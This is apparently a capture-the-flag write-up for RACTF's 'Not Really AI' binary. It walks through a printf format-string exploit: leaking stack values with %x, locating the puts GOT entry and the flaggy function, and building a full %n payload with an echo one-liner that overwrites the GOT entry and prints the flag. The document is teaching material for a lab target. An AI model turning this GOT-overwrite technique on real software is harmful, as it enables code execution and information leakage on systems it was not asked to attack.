- Misusage of the libc
printf()
function can lead to serious information leakage and even code execution. - when we pass one argument (for example
printf(foo)
) we can:- leak stack addresses using
%x
or%p
format specifiers. - overwrite any pointer’s value using
%n
specifier (note that we can’t overwrite plain stack addresses as the %n format specifier can only overwrite by reference and not by value)
- leak stack addresses using
For more information on format strings please check this awesome resource
Analyzing the Binary
we fire up GDB and list all our functions:
|
|
we notice three non-standard functions above which are:
|
|
by inspecting the disassembly for these three functions we find out that:
- main function will call response function
- response function maybe vulnerable to a format string vulnerability (since there is a printf call)
- the flaggy function is a dead code, our goal is to call it.
so let’s start by running some input on the binary, let’s test with a couple of %x
’s:
hegz@hegzbox:~/ractf/Not_Really_AI$ ./nra
How are you finding RACTF?
%x %x %x %x
I am glad you
200 f7fb9580 80491d1 25207825
We hope you keep going!
bingo!
we can leak stack addresses.
Exploitation
since this binary is vulnerable to a format strings attack, we can use the %n
specifer to overwrite any pointer value on the stack.
But can we really overwrite the return address?
The answer is No, we can’t do that since it is not a pointer, it’s a value and we can’t overwrite values on the stack using %n
Our approach to this challenge will be through overwriting the “Global Offset Table”…
to put it simply, the Global Offset Table is somewhere in the bss section of the binary where shared library functions are mapped to their addresses.
If we can overwrite one of these function addresses (for example puts()
GOT address) then, when we want to execute this function (the puts
) it will instead execute our arbitary function.
we check our vulnrable function for candiadtes:
|
|
we see a puts
call after the vulnerable printf
function, that’s our candiadte.
Alright, now it’s time to collect all the pieces of the puzzle.
In order to start writing our exploit, we will need two pieces of information:
- The memory address we are overwriting –> puts GOT address
- The memory address we are overwriting with –> flaggy
to get the puts GOT address we can disassemble the puts address located at response<+117>:
|
|
then we examine the destination address of the jump instrcution above to make sure its the GOT address:
|
|
and voila, 0x804c018
is our desired address!
now we need the flaggy function address:
|
|
and our address is 0x8049245
(note: don’t confuse the address with its value, i.e: in the above snippet we have two hex numbers where 0x8049245
is the address/pointer and 0x53e58955
is the value of that pointer/address)
Time to write our Exploit!
our exploit will look like this (Abstracted):[Address_of_puts][Address_of_flaggy][Address_of_puts entry number on the stack]
let’s dig a bit deeper into each of these parts:
[Address_of_puts]:
this is the simplest of the three, and it’s basically our GOT puts address which we obtained above, but encoded in little endian
Address_of_puts = \x18\xc0\x04\x08
[Address_of_flaggy]:
if we recall back, we mentioned that the %n specifier will write the printed character length to a specified pointer.
our goal here is to encode the Address of flaggy function as a padded address, for example we want to encode this address0x8049245
the format will be:%(integer value of the address - 4)x
where the 4 is the length of the [Address_of_puts]
using any calculator or just python, we can calculate the integer value of any hex address:
|
|
so our final payload will be: %134517313x
[Address_of_puts entry number on the stack]:
to calculate the offset of puts in our printf stack leak, we use an Egg i.e: AAAA, and follow it with some%x
’s until we can locate it’s offset.
hegz@hegzbox:~/ractf/Not_Really_AI$ ./nra
How are you finding RACTF?
AAAA %x %x %x %x %x %x %x %x
I am glad you
AAAA 200 f7fb9580 80491d1 41414141 20782520 25207825 78252078 20782520
we see that our offset is the 4th entry after the egg, so our payload will be: %x %x %x %n
or we can use the special feautre of printf %4$n
which does the same thing.
full payload:\x18\xc0\x04\x08%134517313x%4$n
we will use echo to print and pipe it to the binary (we also escape the $ and append a \x0a for a newline):echo -en \x18\xc0\x04\x08%134517313x%4\\$n\x0a | ./nra
a lot of blank spaces will be printed, and eventually our flag…ractf{f0rmat_Str1nG_fuN}